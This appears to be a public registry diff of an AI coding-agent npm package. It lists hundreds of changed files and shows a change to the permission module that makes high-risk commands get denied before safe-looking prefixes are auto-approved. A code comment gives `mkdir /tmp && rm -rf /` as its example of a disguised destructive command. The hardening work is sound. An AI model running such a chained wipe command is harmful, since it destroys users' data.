@cjhyy/code-shell-core 0.5.0-rc.1 → 0.6.0-rc.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (528) hide show
  1. package/README.md +13 -10
  2. package/dist/agent/agent-definition-registry.d.ts +21 -3
  3. package/dist/agent/agent-definition-registry.js +49 -18
  4. package/dist/agent/agent-definition.d.ts +32 -0
  5. package/dist/agent/agent-definition.js +49 -4
  6. package/dist/arena/arena.js +11 -12
  7. package/dist/arena/context/context-tools.js +47 -6
  8. package/dist/arena/context/within-root.d.ts +7 -0
  9. package/dist/arena/context/within-root.js +15 -0
  10. package/dist/arena/iterate/phases/argue.js +8 -2
  11. package/dist/arena/iterate/phases/revise.js +1 -1
  12. package/dist/arena/iterate/phases/tournament.js +3 -3
  13. package/dist/arena/ledger.js +9 -1
  14. package/dist/arena/phases/adjudication.js +1 -4
  15. package/dist/arena/phases/build-consensus.js +1 -4
  16. package/dist/arena/phases/cross-review.js +2 -8
  17. package/dist/arena/phases/debate-rounds.js +1 -4
  18. package/dist/arena/phases/participant-research.js +1 -4
  19. package/dist/arena/phases/planning-detail-expansion.js +8 -10
  20. package/dist/arena/planner.js +0 -1
  21. package/dist/arena/providers/docs.d.ts +1 -0
  22. package/dist/arena/providers/docs.js +5 -2
  23. package/dist/arena/providers/repo.d.ts +1 -0
  24. package/dist/arena/providers/repo.js +5 -2
  25. package/dist/arena/strategies/utils.d.ts +1 -4
  26. package/dist/arena/strategies/utils.js +7 -51
  27. package/dist/arena/transitions.d.ts +7 -2
  28. package/dist/arena/transitions.js +9 -4
  29. package/dist/arena/types.d.ts +8 -2
  30. package/dist/automation/cron-expr.d.ts +41 -0
  31. package/dist/automation/cron-expr.js +169 -0
  32. package/dist/automation/index.d.ts +41 -0
  33. package/dist/automation/index.js +39 -0
  34. package/dist/automation/runner.d.ts +84 -0
  35. package/dist/automation/runner.js +92 -0
  36. package/dist/automation/scheduler.d.ts +194 -0
  37. package/dist/automation/scheduler.js +623 -0
  38. package/dist/automation/store.d.ts +39 -0
  39. package/dist/automation/store.js +122 -0
  40. package/dist/automation/write-policy.d.ts +34 -0
  41. package/dist/automation/write-policy.js +113 -0
  42. package/dist/automation/write-run.d.ts +51 -0
  43. package/dist/automation/write-run.js +38 -0
  44. package/dist/capability-control/disabled-lists.d.ts +25 -0
  45. package/dist/capability-control/disabled-lists.js +57 -0
  46. package/dist/capability-control/index.d.ts +5 -0
  47. package/dist/capability-control/index.js +3 -0
  48. package/dist/capability-control/overlay.d.ts +64 -0
  49. package/dist/capability-control/overlay.js +116 -0
  50. package/dist/capability-control/project.d.ts +65 -0
  51. package/dist/capability-control/project.js +147 -0
  52. package/dist/capability-control/service.d.ts +70 -0
  53. package/dist/capability-control/service.js +147 -0
  54. package/dist/capability-control/types.d.ts +62 -0
  55. package/dist/capability-control/types.js +17 -0
  56. package/dist/cc-orchestrator/agent-adapter.d.ts +50 -0
  57. package/dist/cc-orchestrator/agent-adapter.js +133 -0
  58. package/dist/cc-orchestrator/cc-capability.d.ts +19 -0
  59. package/dist/cc-orchestrator/cc-capability.js +53 -0
  60. package/dist/cc-orchestrator/codex-session-discovery.d.ts +24 -0
  61. package/dist/cc-orchestrator/codex-session-discovery.js +191 -0
  62. package/dist/cc-orchestrator/codex-session-history.d.ts +25 -0
  63. package/dist/cc-orchestrator/codex-session-history.js +187 -0
  64. package/dist/cc-orchestrator/external-agent-changes.d.ts +19 -0
  65. package/dist/cc-orchestrator/external-agent-changes.js +214 -0
  66. package/dist/cc-orchestrator/external-agent-driver.d.ts +18 -0
  67. package/dist/cc-orchestrator/external-agent-driver.js +69 -0
  68. package/dist/cc-orchestrator/index.d.ts +8 -0
  69. package/dist/cc-orchestrator/index.js +8 -0
  70. package/dist/cc-orchestrator/relevance-judge.d.ts +15 -0
  71. package/dist/cc-orchestrator/relevance-judge.js +29 -0
  72. package/dist/cc-orchestrator/session-discovery.d.ts +46 -0
  73. package/dist/cc-orchestrator/session-discovery.js +125 -0
  74. package/dist/cc-orchestrator/session-history.d.ts +19 -0
  75. package/dist/cc-orchestrator/session-history.js +67 -0
  76. package/dist/cli/agent-server-stdio.d.ts +26 -1
  77. package/dist/cli/agent-server-stdio.js +221 -28
  78. package/dist/cli/agent-server-tcp.d.ts +20 -0
  79. package/dist/cli/agent-server-tcp.js +134 -0
  80. package/dist/cli/graceful-shutdown.d.ts +27 -0
  81. package/dist/cli/graceful-shutdown.js +30 -0
  82. package/dist/context/compaction.d.ts +56 -0
  83. package/dist/context/compaction.js +209 -15
  84. package/dist/context/manager.d.ts +0 -20
  85. package/dist/context/manager.js +25 -41
  86. package/dist/cost-tracker.js +5 -61
  87. package/dist/credentials/cipher.d.ts +49 -0
  88. package/dist/credentials/cipher.js +45 -0
  89. package/dist/credentials/cookie-jar.d.ts +24 -0
  90. package/dist/credentials/cookie-jar.js +40 -0
  91. package/dist/credentials/index.d.ts +7 -0
  92. package/dist/credentials/index.js +5 -0
  93. package/dist/credentials/inject-credential-tool.d.ts +20 -0
  94. package/dist/credentials/inject-credential-tool.js +130 -0
  95. package/dist/credentials/store.d.ts +72 -0
  96. package/dist/credentials/store.js +184 -0
  97. package/dist/credentials/types.d.ts +56 -0
  98. package/dist/credentials/use-credential-tool.d.ts +29 -0
  99. package/dist/credentials/use-credential-tool.js +205 -0
  100. package/dist/credentials/use-gate.d.ts +56 -0
  101. package/dist/credentials/use-gate.js +52 -0
  102. package/dist/cron/cron-runtime.d.ts +2 -0
  103. package/dist/cron/cron-runtime.js +2 -0
  104. package/dist/cron/cron-store.d.ts +2 -0
  105. package/dist/cron/cron-store.js +2 -0
  106. package/dist/cron/scheduler.d.ts +5 -32
  107. package/dist/cron/scheduler.js +5 -113
  108. package/dist/data/model-metadata.d.ts +77 -0
  109. package/dist/data/model-metadata.js +56 -0
  110. package/dist/data/model-metadata.json +216 -0
  111. package/dist/data/openrouter-models.d.ts +18 -7
  112. package/dist/data/openrouter-models.js +35 -8
  113. package/dist/data/openrouter-sync.js +1 -1
  114. package/dist/engine/aux-key.d.ts +10 -0
  115. package/dist/engine/aux-key.js +11 -0
  116. package/dist/engine/dynamic-tool-defs.d.ts +19 -0
  117. package/dist/engine/dynamic-tool-defs.js +36 -0
  118. package/dist/engine/engine.d.ts +431 -108
  119. package/dist/engine/engine.js +1630 -279
  120. package/dist/engine/friendly-error.d.ts +18 -0
  121. package/dist/engine/friendly-error.js +63 -0
  122. package/dist/engine/goal.d.ts +187 -0
  123. package/dist/engine/goal.js +196 -0
  124. package/dist/engine/image-compression.d.ts +81 -0
  125. package/dist/engine/image-compression.js +186 -0
  126. package/dist/engine/image-policy.d.ts +165 -0
  127. package/dist/engine/image-policy.js +189 -0
  128. package/dist/engine/model-connections-pool.d.ts +17 -0
  129. package/dist/engine/model-connections-pool.js +66 -0
  130. package/dist/engine/model-facade.d.ts +10 -0
  131. package/dist/engine/model-facade.js +25 -0
  132. package/dist/engine/patch-orphaned-tools.js +3 -0
  133. package/dist/engine/reactive-threshold.d.ts +13 -0
  134. package/dist/engine/reactive-threshold.js +17 -0
  135. package/dist/engine/resolve-llm-config.d.ts +16 -0
  136. package/dist/engine/resolve-llm-config.js +44 -0
  137. package/dist/engine/runtime.js +9 -1
  138. package/dist/engine/sandbox-cache-key.d.ts +10 -0
  139. package/dist/engine/sandbox-cache-key.js +9 -0
  140. package/dist/engine/sandbox-config.d.ts +31 -0
  141. package/dist/engine/sandbox-config.js +38 -0
  142. package/dist/engine/session-title.d.ts +13 -0
  143. package/dist/engine/session-title.js +34 -0
  144. package/dist/engine/session-usage.d.ts +19 -0
  145. package/dist/engine/session-usage.js +25 -0
  146. package/dist/engine/steer-queue.d.ts +32 -0
  147. package/dist/engine/steer-queue.js +26 -0
  148. package/dist/engine/streaming-tool-queue.d.ts +12 -0
  149. package/dist/engine/streaming-tool-queue.js +50 -10
  150. package/dist/engine/turn-loop.d.ts +94 -9
  151. package/dist/engine/turn-loop.js +775 -342
  152. package/dist/engine/types.d.ts +175 -0
  153. package/dist/engine/types.js +13 -0
  154. package/dist/external-agents/config.d.ts +2 -0
  155. package/dist/external-agents/config.js +15 -0
  156. package/dist/external-agents/types.d.ts +31 -0
  157. package/dist/external-agents/types.js +1 -0
  158. package/dist/git/parse-log.d.ts +13 -0
  159. package/dist/git/parse-log.js +21 -0
  160. package/dist/git/utils.d.ts +8 -6
  161. package/dist/git/utils.js +62 -26
  162. package/dist/git/worktree.d.ts +48 -0
  163. package/dist/git/worktree.js +111 -20
  164. package/dist/hooks/events.d.ts +23 -1
  165. package/dist/hooks/goal-stop-hook.d.ts +58 -0
  166. package/dist/hooks/goal-stop-hook.js +279 -0
  167. package/dist/hooks/hook-output.d.ts +33 -0
  168. package/dist/hooks/hook-output.js +79 -0
  169. package/dist/hooks/registry.d.ts +15 -0
  170. package/dist/hooks/registry.js +57 -1
  171. package/dist/hooks/shell-runner.d.ts +2 -0
  172. package/dist/hooks/shell-runner.js +48 -18
  173. package/dist/index.d.ts +79 -11
  174. package/dist/index.js +89 -6
  175. package/dist/llm/capabilities/param-specs.d.ts +14 -0
  176. package/dist/llm/capabilities/param-specs.js +62 -0
  177. package/dist/llm/capabilities/reasoning-control.d.ts +24 -0
  178. package/dist/llm/capabilities/reasoning-control.js +38 -0
  179. package/dist/llm/capabilities/rules.js +37 -3
  180. package/dist/llm/capabilities/types.d.ts +32 -2
  181. package/dist/llm/clamp-max-tokens.d.ts +11 -0
  182. package/dist/llm/clamp-max-tokens.js +17 -0
  183. package/dist/llm/client-base.d.ts +69 -5
  184. package/dist/llm/client-base.js +185 -25
  185. package/dist/llm/client-factory.d.ts +3 -3
  186. package/dist/llm/client-factory.js +2 -2
  187. package/dist/llm/model-cache.js +4 -2
  188. package/dist/llm/model-pool.d.ts +29 -11
  189. package/dist/llm/model-pool.js +36 -20
  190. package/dist/llm/provider-auth.d.ts +41 -0
  191. package/dist/llm/provider-auth.js +76 -0
  192. package/dist/llm/provider-catalog.d.ts +6 -2
  193. package/dist/llm/providers/anthropic.d.ts +32 -2
  194. package/dist/llm/providers/anthropic.js +207 -18
  195. package/dist/llm/providers/openai.d.ts +47 -2
  196. package/dist/llm/providers/openai.js +478 -71
  197. package/dist/llm/reasoning-setting.d.ts +51 -0
  198. package/dist/llm/reasoning-setting.js +40 -0
  199. package/dist/llm/stop-reason.d.ts +13 -0
  200. package/dist/llm/stop-reason.js +21 -0
  201. package/dist/llm/stream-watchdog.js +5 -1
  202. package/dist/llm/strip-vision.d.ts +32 -0
  203. package/dist/llm/strip-vision.js +94 -0
  204. package/dist/llm/token-counter.js +9 -2
  205. package/dist/llm/types.d.ts +9 -6
  206. package/dist/logging/logger.js +18 -4
  207. package/dist/logging/sanitize-messages.d.ts +10 -0
  208. package/dist/logging/sanitize-messages.js +112 -0
  209. package/dist/lsp/client.js +28 -8
  210. package/dist/lsp/manager.d.ts +1 -1
  211. package/dist/lsp/manager.js +42 -11
  212. package/dist/lsp/root-path.d.ts +9 -0
  213. package/dist/lsp/root-path.js +12 -0
  214. package/dist/model-catalog/builtin.d.ts +12 -0
  215. package/dist/model-catalog/builtin.js +407 -0
  216. package/dist/model-catalog/gen-connections.d.ts +20 -0
  217. package/dist/model-catalog/gen-connections.js +28 -0
  218. package/dist/model-catalog/index.d.ts +41 -0
  219. package/dist/model-catalog/index.js +90 -0
  220. package/dist/model-catalog/params.d.ts +20 -0
  221. package/dist/model-catalog/params.js +45 -0
  222. package/dist/model-catalog/resolve.d.ts +48 -0
  223. package/dist/model-catalog/resolve.js +33 -0
  224. package/dist/model-catalog/save-entry.d.ts +32 -0
  225. package/dist/model-catalog/save-entry.js +104 -0
  226. package/dist/model-catalog/types.d.ts +561 -0
  227. package/dist/model-catalog/types.js +93 -0
  228. package/dist/model-catalog/upsert.d.ts +9 -0
  229. package/dist/model-catalog/upsert.js +8 -0
  230. package/dist/onboarding.d.ts +12 -82
  231. package/dist/onboarding.js +75 -333
  232. package/dist/plugins/gitOps.d.ts +53 -0
  233. package/dist/plugins/gitOps.js +130 -5
  234. package/dist/plugins/installer/checkUpdate.d.ts +16 -0
  235. package/dist/plugins/installer/checkUpdate.js +32 -0
  236. package/dist/plugins/installer/codex/convertAgents.d.ts +7 -0
  237. package/dist/plugins/installer/codex/convertAgents.js +55 -0
  238. package/dist/plugins/installer/codex/convertCommands.d.ts +19 -0
  239. package/dist/plugins/installer/codex/convertCommands.js +46 -0
  240. package/dist/plugins/installer/codex/convertMcp.d.ts +11 -0
  241. package/dist/plugins/installer/codex/convertMcp.js +85 -0
  242. package/dist/plugins/installer/codex/convertSkills.d.ts +12 -0
  243. package/dist/plugins/installer/codex/convertSkills.js +33 -0
  244. package/dist/plugins/installer/detectFormat.d.ts +2 -0
  245. package/dist/plugins/installer/detectFormat.js +6 -0
  246. package/dist/plugins/installer/install.d.ts +7 -0
  247. package/dist/plugins/installer/install.js +123 -0
  248. package/dist/plugins/installer/installFromArchive.d.ts +43 -0
  249. package/dist/plugins/installer/installFromArchive.js +134 -0
  250. package/dist/plugins/installer/installFromSource.d.ts +13 -0
  251. package/dist/plugins/installer/installFromSource.js +51 -0
  252. package/dist/plugins/installer/list.d.ts +9 -0
  253. package/dist/plugins/installer/list.js +30 -0
  254. package/dist/plugins/installer/loadPluginAgents.d.ts +3 -0
  255. package/dist/plugins/installer/loadPluginAgents.js +27 -0
  256. package/dist/plugins/installer/loadPluginMcp.d.ts +14 -0
  257. package/dist/plugins/installer/loadPluginMcp.js +107 -0
  258. package/dist/plugins/installer/parseSource.d.ts +20 -0
  259. package/dist/plugins/installer/parseSource.js +74 -0
  260. package/dist/plugins/installer/paths.d.ts +5 -0
  261. package/dist/plugins/installer/paths.js +25 -0
  262. package/dist/plugins/installer/pruneDisabled.d.ts +24 -0
  263. package/dist/plugins/installer/pruneDisabled.js +73 -0
  264. package/dist/plugins/installer/types.d.ts +52 -0
  265. package/dist/plugins/installer/types.js +28 -0
  266. package/dist/plugins/installer/uninstall.d.ts +2 -0
  267. package/dist/plugins/installer/uninstall.js +18 -0
  268. package/dist/plugins/installer/unzip.d.ts +14 -0
  269. package/dist/plugins/installer/unzip.js +82 -0
  270. package/dist/plugins/installer/update.d.ts +28 -0
  271. package/dist/plugins/installer/update.js +97 -0
  272. package/dist/plugins/loadPluginHooks.d.ts +54 -1
  273. package/dist/plugins/loadPluginHooks.js +83 -1
  274. package/dist/plugins/marketplaceManager.d.ts +15 -1
  275. package/dist/plugins/marketplaceManager.js +58 -4
  276. package/dist/plugins/pluginCommandHook.js +34 -14
  277. package/dist/plugins/pluginContent.d.ts +30 -0
  278. package/dist/plugins/pluginContent.js +83 -0
  279. package/dist/plugins/pluginInstaller.d.ts +34 -0
  280. package/dist/plugins/pluginInstaller.js +168 -35
  281. package/dist/plugins/schemas.js +41 -6
  282. package/dist/plugins/types.d.ts +10 -0
  283. package/dist/preset/index.d.ts +7 -1
  284. package/dist/preset/index.js +112 -6
  285. package/dist/product/types.d.ts +1 -1
  286. package/dist/prompt/composer.d.ts +31 -0
  287. package/dist/prompt/composer.js +95 -25
  288. package/dist/prompt/instruction-scanner.js +5 -3
  289. package/dist/prompt/section-loader.js +1 -0
  290. package/dist/prompt/sections/base.md +1 -0
  291. package/dist/prompt/sections/browser.md +10 -0
  292. package/dist/prompt/sections/coding.md +4 -0
  293. package/dist/prompt/sections/orchestration.md +8 -0
  294. package/dist/protocol/chat-session-manager.d.ts +15 -2
  295. package/dist/protocol/chat-session-manager.js +46 -0
  296. package/dist/protocol/chat-session.d.ts +82 -0
  297. package/dist/protocol/chat-session.js +121 -1
  298. package/dist/protocol/client.d.ts +27 -0
  299. package/dist/protocol/client.js +38 -0
  300. package/dist/protocol/redact.d.ts +50 -0
  301. package/dist/protocol/redact.js +71 -0
  302. package/dist/protocol/server.d.ts +153 -2
  303. package/dist/protocol/server.js +807 -39
  304. package/dist/protocol/tcp-transport.d.ts +45 -0
  305. package/dist/protocol/tcp-transport.js +74 -0
  306. package/dist/protocol/transport.js +3 -2
  307. package/dist/protocol/types.d.ts +69 -0
  308. package/dist/protocol/types.js +22 -0
  309. package/dist/quota/credentials.d.ts +3 -0
  310. package/dist/quota/credentials.js +80 -0
  311. package/dist/quota/index.d.ts +36 -0
  312. package/dist/quota/index.js +155 -0
  313. package/dist/quota/types.d.ts +48 -0
  314. package/dist/quota/types.js +13 -0
  315. package/dist/remote/bridge.d.ts +11 -2
  316. package/dist/remote/bridge.js +61 -33
  317. package/dist/review/review-prompt.d.ts +28 -0
  318. package/dist/review/review-prompt.js +81 -0
  319. package/dist/run/ArtifactTracker.js +5 -4
  320. package/dist/run/EngineRunner.d.ts +27 -1
  321. package/dist/run/EngineRunner.js +46 -8
  322. package/dist/run/FileRunStore.js +40 -11
  323. package/dist/run/RunApprovalBackend.js +25 -5
  324. package/dist/run/RunLock.d.ts +28 -2
  325. package/dist/run/RunLock.js +49 -7
  326. package/dist/run/RunManager.d.ts +12 -0
  327. package/dist/run/RunManager.js +86 -3
  328. package/dist/run/RunQueue.d.ts +1 -0
  329. package/dist/run/RunQueue.js +8 -2
  330. package/dist/run/factory.d.ts +8 -1
  331. package/dist/run/factory.js +1 -0
  332. package/dist/run/index.d.ts +2 -2
  333. package/dist/run/index.js +1 -1
  334. package/dist/run/redirect-target.d.ts +7 -0
  335. package/dist/run/redirect-target.js +13 -0
  336. package/dist/run/types.js +1 -1
  337. package/dist/runtime/background-shell.d.ts +139 -0
  338. package/dist/runtime/background-shell.js +495 -0
  339. package/dist/runtime/output-clean.d.ts +24 -0
  340. package/dist/runtime/output-clean.js +41 -0
  341. package/dist/runtime/ring-file.d.ts +64 -0
  342. package/dist/runtime/ring-file.js +174 -0
  343. package/dist/runtime/safe-spawn.js +15 -34
  344. package/dist/runtime/spawn-common.d.ts +148 -0
  345. package/dist/runtime/spawn-common.js +303 -0
  346. package/dist/runtime/truncate-output.d.ts +22 -0
  347. package/dist/runtime/truncate-output.js +49 -0
  348. package/dist/runtime/utf8-cut.d.ts +11 -0
  349. package/dist/runtime/utf8-cut.js +23 -0
  350. package/dist/services/auto-dream.d.ts +4 -0
  351. package/dist/services/auto-dream.js +26 -26
  352. package/dist/services/browser-open.d.ts +13 -0
  353. package/dist/services/browser-open.js +16 -0
  354. package/dist/services/diagnostics.d.ts +1 -2
  355. package/dist/services/diagnostics.js +12 -7
  356. package/dist/services/dream-consolidation.d.ts +57 -0
  357. package/dist/services/dream-consolidation.js +151 -0
  358. package/dist/services/extract-memories.d.ts +14 -1
  359. package/dist/services/extract-memories.js +45 -6
  360. package/dist/services/memory-orchestrator.d.ts +21 -0
  361. package/dist/services/memory-orchestrator.js +125 -32
  362. package/dist/services/notifier.d.ts +8 -0
  363. package/dist/services/notifier.js +39 -25
  364. package/dist/services/oauth.js +5 -7
  365. package/dist/services/session-memory-sort.d.ts +8 -0
  366. package/dist/services/session-memory-sort.js +9 -0
  367. package/dist/services/session-memory.js +30 -19
  368. package/dist/session/file-history.d.ts +124 -1
  369. package/dist/session/file-history.js +232 -9
  370. package/dist/session/memory.d.ts +116 -2
  371. package/dist/session/memory.js +250 -28
  372. package/dist/session/session-manager.d.ts +63 -1
  373. package/dist/session/session-manager.js +186 -5
  374. package/dist/session/simple-diff.d.ts +23 -0
  375. package/dist/session/simple-diff.js +84 -0
  376. package/dist/session/transcript.d.ts +25 -1
  377. package/dist/session/transcript.js +35 -2
  378. package/dist/session/undo-target.d.ts +67 -0
  379. package/dist/session/undo-target.js +144 -0
  380. package/dist/settings/disk-defaults.d.ts +42 -0
  381. package/dist/settings/disk-defaults.js +33 -0
  382. package/dist/settings/feature-flags.d.ts +64 -0
  383. package/dist/settings/feature-flags.js +61 -0
  384. package/dist/settings/manager.d.ts +101 -1
  385. package/dist/settings/manager.js +345 -15
  386. package/dist/settings/migrate-config.d.ts +45 -0
  387. package/dist/settings/migrate-config.js +125 -0
  388. package/dist/settings/personalization.d.ts +19 -0
  389. package/dist/settings/personalization.js +7 -0
  390. package/dist/settings/schema-export.d.ts +25 -0
  391. package/dist/settings/schema-export.js +38 -0
  392. package/dist/settings/schema.d.ts +1827 -396
  393. package/dist/settings/schema.js +361 -81
  394. package/dist/skills/scanner.d.ts +9 -0
  395. package/dist/skills/scanner.js +30 -2
  396. package/dist/stt/resolve-transcribe.d.ts +31 -0
  397. package/dist/stt/resolve-transcribe.js +108 -0
  398. package/dist/stt/transcribe.d.ts +51 -0
  399. package/dist/stt/transcribe.js +65 -0
  400. package/dist/tool-system/browser-bridge.d.ts +226 -0
  401. package/dist/tool-system/browser-bridge.js +163 -0
  402. package/dist/tool-system/builtin/add-marketplace.d.ts +12 -0
  403. package/dist/tool-system/builtin/add-marketplace.js +76 -0
  404. package/dist/tool-system/builtin/agent-heartbeat.d.ts +49 -0
  405. package/dist/tool-system/builtin/agent-heartbeat.js +89 -0
  406. package/dist/tool-system/builtin/agent-notifications.d.ts +12 -3
  407. package/dist/tool-system/builtin/agent-notifications.js +9 -3
  408. package/dist/tool-system/builtin/agent-output-file.d.ts +38 -0
  409. package/dist/tool-system/builtin/agent-output-file.js +72 -0
  410. package/dist/tool-system/builtin/agent-registry.d.ts +23 -0
  411. package/dist/tool-system/builtin/agent-registry.js +16 -4
  412. package/dist/tool-system/builtin/agent.d.ts +50 -11
  413. package/dist/tool-system/builtin/agent.js +576 -73
  414. package/dist/tool-system/builtin/apply-patch/applier.js +66 -8
  415. package/dist/tool-system/builtin/apply-patch/backup-targets.d.ts +10 -0
  416. package/dist/tool-system/builtin/apply-patch/backup-targets.js +30 -0
  417. package/dist/tool-system/builtin/apply-patch/index.js +7 -3
  418. package/dist/tool-system/builtin/arena.js +6 -7
  419. package/dist/tool-system/builtin/background-jobs.d.ts +76 -0
  420. package/dist/tool-system/builtin/background-jobs.js +124 -0
  421. package/dist/tool-system/builtin/background-shell-tools.d.ts +20 -0
  422. package/dist/tool-system/builtin/background-shell-tools.js +108 -0
  423. package/dist/tool-system/builtin/background-work.d.ts +67 -0
  424. package/dist/tool-system/builtin/background-work.js +86 -0
  425. package/dist/tool-system/builtin/bash-output-style.d.ts +32 -0
  426. package/dist/tool-system/builtin/bash-output-style.js +40 -0
  427. package/dist/tool-system/builtin/bash.d.ts +5 -2
  428. package/dist/tool-system/builtin/bash.js +98 -62
  429. package/dist/tool-system/builtin/browser-tools.d.ts +33 -0
  430. package/dist/tool-system/builtin/browser-tools.js +312 -0
  431. package/dist/tool-system/builtin/cancel-goal.d.ts +31 -0
  432. package/dist/tool-system/builtin/cancel-goal.js +64 -0
  433. package/dist/tool-system/builtin/check-quota.d.ts +15 -0
  434. package/dist/tool-system/builtin/check-quota.js +34 -0
  435. package/dist/tool-system/builtin/complete-goal.d.ts +25 -0
  436. package/dist/tool-system/builtin/complete-goal.js +45 -0
  437. package/dist/tool-system/builtin/config.js +7 -0
  438. package/dist/tool-system/builtin/cron.d.ts +7 -0
  439. package/dist/tool-system/builtin/cron.js +105 -9
  440. package/dist/tool-system/builtin/drive-claude-code.d.ts +30 -0
  441. package/dist/tool-system/builtin/drive-claude-code.js +157 -0
  442. package/dist/tool-system/builtin/edit-model-catalog.d.ts +3 -0
  443. package/dist/tool-system/builtin/edit-model-catalog.js +94 -0
  444. package/dist/tool-system/builtin/edit.d.ts +2 -1
  445. package/dist/tool-system/builtin/edit.js +21 -12
  446. package/dist/tool-system/builtin/eol.d.ts +29 -0
  447. package/dist/tool-system/builtin/eol.js +37 -0
  448. package/dist/tool-system/builtin/file-cache.d.ts +6 -0
  449. package/dist/tool-system/builtin/file-cache.js +8 -0
  450. package/dist/tool-system/builtin/generate-image.d.ts +60 -0
  451. package/dist/tool-system/builtin/generate-image.js +374 -0
  452. package/dist/tool-system/builtin/generate-video.d.ts +55 -0
  453. package/dist/tool-system/builtin/generate-video.js +361 -0
  454. package/dist/tool-system/builtin/grep.js +6 -2
  455. package/dist/tool-system/builtin/image-providers.d.ts +86 -0
  456. package/dist/tool-system/builtin/image-providers.js +190 -0
  457. package/dist/tool-system/builtin/image-uploader.d.ts +33 -0
  458. package/dist/tool-system/builtin/image-uploader.js +74 -0
  459. package/dist/tool-system/builtin/index.d.ts +24 -1
  460. package/dist/tool-system/builtin/index.js +310 -25
  461. package/dist/tool-system/builtin/mcp-tools.js +23 -3
  462. package/dist/tool-system/builtin/memory.js +45 -7
  463. package/dist/tool-system/builtin/notebook-edit.d.ts +2 -1
  464. package/dist/tool-system/builtin/notebook-edit.js +1 -1
  465. package/dist/tool-system/builtin/powershell.js +4 -1
  466. package/dist/tool-system/builtin/read.d.ts +2 -1
  467. package/dist/tool-system/builtin/read.js +11 -3
  468. package/dist/tool-system/builtin/repl.js +4 -1
  469. package/dist/tool-system/builtin/skill.js +9 -0
  470. package/dist/tool-system/builtin/sleep.js +12 -5
  471. package/dist/tool-system/builtin/task.js +4 -1
  472. package/dist/tool-system/builtin/tool-search.js +25 -7
  473. package/dist/tool-system/builtin/update-automation-memory.d.ts +24 -0
  474. package/dist/tool-system/builtin/update-automation-memory.js +60 -0
  475. package/dist/tool-system/builtin/video-providers.d.ts +154 -0
  476. package/dist/tool-system/builtin/video-providers.js +235 -0
  477. package/dist/tool-system/builtin/view-image.d.ts +18 -0
  478. package/dist/tool-system/builtin/view-image.js +96 -0
  479. package/dist/tool-system/builtin/web-fetch.js +12 -2
  480. package/dist/tool-system/builtin/web-search.d.ts +4 -1
  481. package/dist/tool-system/builtin/web-search.js +57 -10
  482. package/dist/tool-system/builtin/worktree.d.ts +2 -1
  483. package/dist/tool-system/builtin/worktree.js +31 -4
  484. package/dist/tool-system/builtin/write.d.ts +2 -1
  485. package/dist/tool-system/builtin/write.js +1 -1
  486. package/dist/tool-system/context.d.ts +166 -6
  487. package/dist/tool-system/executor.d.ts +3 -2
  488. package/dist/tool-system/executor.js +197 -119
  489. package/dist/tool-system/investigation-guard.d.ts +4 -1
  490. package/dist/tool-system/investigation-guard.js +20 -4
  491. package/dist/tool-system/mcp-manager.d.ts +78 -16
  492. package/dist/tool-system/mcp-manager.js +357 -28
  493. package/dist/tool-system/path-policy.d.ts +99 -0
  494. package/dist/tool-system/path-policy.js +578 -0
  495. package/dist/tool-system/permission.d.ts +36 -1
  496. package/dist/tool-system/permission.js +322 -117
  497. package/dist/tool-system/plan-mode-allowlist.d.ts +32 -0
  498. package/dist/tool-system/plan-mode-allowlist.js +65 -0
  499. package/dist/tool-system/registry.d.ts +1 -0
  500. package/dist/tool-system/registry.js +26 -1
  501. package/dist/tool-system/sandbox/index.d.ts +8 -0
  502. package/dist/tool-system/sandbox/index.js +7 -2
  503. package/dist/tool-system/validate-tool-metadata.d.ts +36 -0
  504. package/dist/tool-system/validate-tool-metadata.js +63 -0
  505. package/dist/tool-system/validation.d.ts +10 -0
  506. package/dist/tool-system/validation.js +16 -3
  507. package/dist/types.d.ts +301 -15
  508. package/dist/updater.js +20 -9
  509. package/dist/utils/envUtils.d.ts +0 -9
  510. package/dist/utils/envUtils.js +3 -28
  511. package/dist/utils/exec.d.ts +40 -0
  512. package/dist/utils/exec.js +144 -0
  513. package/dist/utils/format.js +4 -2
  514. package/dist/utils/json.d.ts +12 -0
  515. package/dist/utils/json.js +92 -0
  516. package/dist/utils/lockfile.js +9 -2
  517. package/dist/utils/theme.d.ts +7 -1
  518. package/dist/utils/theme.js +5 -3
  519. package/dist/utils/toolDisplay.js +0 -1
  520. package/package.json +14 -7
  521. package/dist/agent/coordinator.d.ts +0 -49
  522. package/dist/agent/coordinator.js +0 -77
  523. package/dist/settings/manager.test.js +0 -73
  524. package/dist/tool-system/builtin/remote-trigger.d.ts +0 -6
  525. package/dist/tool-system/builtin/remote-trigger.js +0 -54
  526. package/dist/tool-system/builtin/send-message.d.ts +0 -6
  527. package/dist/tool-system/builtin/send-message.js +0 -47
  528. /package/dist/{settings/manager.test.d.ts → credentials/types.js} +0 -0
@@ -1,7 +1,11 @@
1
1
  /**
2
2
  * Permission system — classifier + approval backend.
3
3
  */
4
+ import { resolve as resolvePath, dirname } from "node:path";
5
+ import { existsSync, mkdirSync, readFileSync, writeFileSync, renameSync, } from "node:fs";
6
+ import { randomUUID } from "node:crypto";
4
7
  import { logger as rootPermLogger } from "../logging/logger.js";
8
+ import { READ_ONLY_TOOLS } from "./plan-mode-allowlist.js";
5
9
  export class HeadlessApprovalBackend {
6
10
  mode;
7
11
  constructor(mode) {
@@ -14,8 +18,7 @@ export class HeadlessApprovalBackend {
14
18
  case "deny-all":
15
19
  return { approved: false, reason: "headless deny-all mode" };
16
20
  case "approve-read-only": {
17
- const readOnlyTools = ["Read", "Glob", "Grep", "WebSearch", "WebFetch", "ToolSearch"];
18
- if (readOnlyTools.includes(req.toolName)) {
21
+ if (READ_ONLY_TOOLS.has(req.toolName)) {
19
22
  return { approved: true };
20
23
  }
21
24
  return { approved: false, reason: "read-only mode: write operations denied" };
@@ -37,11 +40,10 @@ export class AutoApprovalBackend {
37
40
  if (req.riskLevel === "low") {
38
41
  return { approved: true };
39
42
  }
40
- // Auto-approve common safe patterns
41
- if (this.isSafeOperation(req)) {
42
- return { approved: true };
43
- }
44
- // Auto-deny high-risk dangerous commands
43
+ // Deny gate runs BEFORE the safe-prefix fast-path: a high-risk command
44
+ // must never be auto-approved just because it begins with a "safe" verb
45
+ // (e.g. `mkdir /tmp && rm -rf /`). The classifier already flagged it
46
+ // dangerous; honor that first.
45
47
  if (req.riskLevel === "high") {
46
48
  if (this.delegate) {
47
49
  return this.delegate.requestApproval(req);
@@ -51,11 +53,22 @@ export class AutoApprovalBackend {
51
53
